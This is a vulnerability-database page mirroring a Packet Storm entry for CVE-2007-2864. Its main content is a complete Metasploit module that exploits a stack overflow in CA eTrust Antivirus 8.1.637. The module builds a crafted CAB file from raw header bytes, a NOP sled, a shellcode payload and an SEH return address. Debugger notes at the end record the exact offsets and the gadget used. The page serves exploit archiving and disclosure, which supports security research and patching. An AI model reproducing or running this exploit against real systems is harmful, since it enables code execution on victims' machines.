Lucene search
K

CA Antivirus Engine CAB Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

CA Antivirus Engine CAB Buffer Overflow This module exploits a stack overflow in CA eTrust Antivirus 8.1.637. By creating a specially crafted CAB file, an attacker may be able to execute arbitrary code

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-2864
11 Nov 201000:00
circl
Check Point Advisories
CA Multiple Products AV Engine CAB Header Parsing Stack Overflow (CVE-2007-2864)
27 Mar 201100:00
checkpoint_advisories
CheckPoint Security
CA Products Anti-Virus Engine CAB File Handling Vulnerabilities (CVE-2007-2863, CVE-2007-2864)
9 Jun 200721:00
checkpoint_security
CVE
CVE-2007-2864
6 Jun 200721:00
cve
Cvelist
CVE-2007-2864
6 Jun 200721:00
cvelist
Exploit DB
CA AntiVirus Engine - CAB Buffer Overflow (Metasploit)
11 Nov 201000:00
exploitdb
Metasploit
CA Antivirus Engine CAB Buffer Overflow
27 Aug 200923:26
metasploit
NVD
CVE-2007-2864
6 Jun 200721:30
nvd
Prion
Stack overflow
6 Jun 200721:30
prion
Saint
CA Antivirus engine CAB handling buffer overflow
7 Jun 200700:00
saint
Rows per page
`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA Antivirus Engine CAB Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in CA eTrust Antivirus 8.1.637.  
By creating a specially crafted CAB file, an an attacker may be able  
to execute arbitrary code.   
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'BID', '24330' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-035.html' ],  
[ 'CVE', '2007-2864' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 250,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)', { 'Ret' => 0x6dc886ea } ], # inocore.dll   
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 05 2007',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.cab']),  
], self.class)  
  
end  
  
def exploit  
  
cab_header = "\x4D\x53\x43\x46\x00\x00\x00\x00\xC4\x0D\x00\x00\x00\x00\x00\x00"  
cab_header << "\x2C\x00\x00\x00\x00\x00\x00\x00\x03\x01\x01\x00\x01\x00\x00\x00"  
cab_header << "\xD2\x04\x00\x00\x44\x00\x00\x00\x01\x00\x00\x00\x78\x0D\x00\x00"  
cab_header << "\x00\x00\x00\x00\x00\x00\xE2\x36\x53\xAD\x20\x00"  
  
sploit = make_nops(268 - payload.encoded.length) + payload.encoded  
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-260").encode_string  
sploit << make_nops(800)  
  
cab = cab_header + sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(cab)   
  
end  
  
end  
  
=begin  
0:001> !exchain  
00cdf1b0: VetE!InoAvpackDat+ca058 (600d19c8)  
00cdf2fc: 316a4130  
Invalid exception stack at 6a413969  
0:001> !pattern_offset 1024 0x6a413969  
[Byakugan] Control of 0x6a413969 at offset 268.  
0:001> !pattern_offset 1024 0x316a4130  
[Byakugan] Control of 0x316a4130 at offset 272.  
0:001> u 0x6dc886ea L3  
INOCORE!QSIInitQSysInfo+0x278a:  
6dc886ea 5f pop edi  
6dc886eb 5e pop esi  
6dc886ec c3 ret  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation